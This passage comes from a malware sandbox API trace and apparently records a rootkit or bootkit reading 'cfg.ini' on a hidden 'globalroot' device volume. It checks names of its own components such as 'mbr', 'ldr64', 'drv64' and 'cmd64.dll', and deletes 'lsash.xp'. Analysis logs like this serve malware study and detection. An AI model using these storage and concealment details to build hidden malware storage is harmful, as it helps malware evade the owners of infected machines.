() [0118.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.608] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.608] KeLeaveCriticalRegion () [0118.608] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.608] KeEnterCriticalRegion () [0118.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.608] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.608] IdePortDispatch () returned 0x103 [0118.608] KeWaitForMutexObject () returned 0x0 [0118.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.608] KeLeaveCriticalRegion () [0118.608] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.608] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.608] KeEnterCriticalRegion () [0118.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.608] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351d000 [0118.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.609] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.609] IdePortDispatch () returned 0x103 [0118.609] KeWaitForMutexObject () returned 0x0 [0118.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.609] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.609] IdePortDispatch () returned 0x103 [0118.609] KeWaitForMutexObject () returned 0x0 [0118.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.609] KeLeaveCriticalRegion () [0118.609] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.610] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.610] KeEnterCriticalRegion () [0118.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.610] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.610] KeLeaveCriticalRegion () [0118.610] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.610] KeEnterCriticalRegion () [0118.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.610] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.610] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.610] KeLeaveCriticalRegion () [0118.610] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.610] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.610] KeEnterCriticalRegion () [0118.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.610] ExFreePoolWithTag (P=0xfffffa8003adba20, Tag=0x0) [0118.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.610] KeLeaveCriticalRegion () [0118.610] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.610] ReleaseMutex (hMutex=0xf0) returned 1 [0118.610] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.610] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.610] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.610] KeEnterCriticalRegion () [0118.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.610] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.610] IdePortDispatch () returned 0x103 [0118.610] KeWaitForMutexObject () returned 0x0 [0118.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.611] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.611] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.611] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.611] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.611] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cd5f0 [0118.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.611] KeLeaveCriticalRegion () [0118.611] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.611] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.611] KeEnterCriticalRegion () [0118.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.611] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.611] KeLeaveCriticalRegion () [0118.611] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.611] KeEnterCriticalRegion () [0118.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.611] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.611] IdePortDispatch () returned 0x103 [0118.611] KeWaitForMutexObject () returned 0x0 [0118.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.611] KeLeaveCriticalRegion () [0118.611] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.611] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.611] KeEnterCriticalRegion () [0118.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.611] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351e000 [0118.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.611] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.611] IdePortDispatch () returned 0x103 [0118.612] KeWaitForMutexObject () returned 0x0 [0118.612] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.612] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.612] IdePortDispatch () returned 0x103 [0118.612] KeWaitForMutexObject () returned 0x0 [0118.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.612] KeLeaveCriticalRegion () [0118.612] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.612] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.613] KeEnterCriticalRegion () [0118.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.613] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.613] KeLeaveCriticalRegion () [0118.613] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.613] KeEnterCriticalRegion () [0118.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.613] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.613] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.613] KeLeaveCriticalRegion () [0118.613] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.613] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.613] KeEnterCriticalRegion () [0118.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.613] ExFreePoolWithTag (P=0xfffffa80039cd5f0, Tag=0x0) [0118.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.613] KeLeaveCriticalRegion () [0118.613] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.613] ReleaseMutex (hMutex=0xf0) returned 1 [0118.613] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.613] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.613] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.613] KeEnterCriticalRegion () [0118.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.613] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.613] IdePortDispatch () returned 0x103 [0118.613] KeWaitForMutexObject () returned 0x0 [0118.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.613] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.613] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.613] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.613] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.614] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd7240 [0118.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.614] KeLeaveCriticalRegion () [0118.614] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.614] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.614] KeEnterCriticalRegion () [0118.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.614] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.614] KeLeaveCriticalRegion () [0118.614] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.614] KeEnterCriticalRegion () [0118.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.614] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.614] IdePortDispatch () returned 0x103 [0118.614] KeWaitForMutexObject () returned 0x0 [0118.614] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.614] KeLeaveCriticalRegion () [0118.614] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.614] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.614] KeEnterCriticalRegion () [0118.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.614] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351f000 [0118.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.614] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.615] IdePortDispatch () returned 0x103 [0118.615] KeWaitForMutexObject () returned 0x0 [0118.615] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.615] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.615] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.615] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.615] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.615] IdePortDispatch () returned 0x103 [0118.615] KeWaitForMutexObject () returned 0x0 [0118.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.615] KeLeaveCriticalRegion () [0118.615] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.615] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.616] KeEnterCriticalRegion () [0118.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.616] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.616] KeLeaveCriticalRegion () [0118.616] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.616] KeEnterCriticalRegion () [0118.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.616] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.616] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.616] KeLeaveCriticalRegion () [0118.616] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.616] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.616] KeEnterCriticalRegion () [0118.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.616] ExFreePoolWithTag (P=0xfffffa8003bd7240, Tag=0x0) [0118.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.616] KeLeaveCriticalRegion () [0118.616] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.616] ReleaseMutex (hMutex=0xf0) returned 1 [0118.616] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.616] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.616] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.616] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.616] KeEnterCriticalRegion () [0118.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.616] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.616] IdePortDispatch () returned 0x103 [0118.616] KeWaitForMutexObject () returned 0x0 [0118.616] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.616] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.616] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.617] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.617] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.617] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.617] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.617] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.617] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.617] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.617] KeLeaveCriticalRegion () [0118.617] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.617] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.617] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.617] KeEnterCriticalRegion () [0118.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.617] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.617] IdePortDispatch () returned 0x103 [0118.617] KeWaitForMutexObject () returned 0x0 [0118.617] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.617] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.617] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.617] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.617] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.617] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.617] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.617] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.617] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.617] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.617] _strnicmp (_Str1="", _Str="lsash.xp", 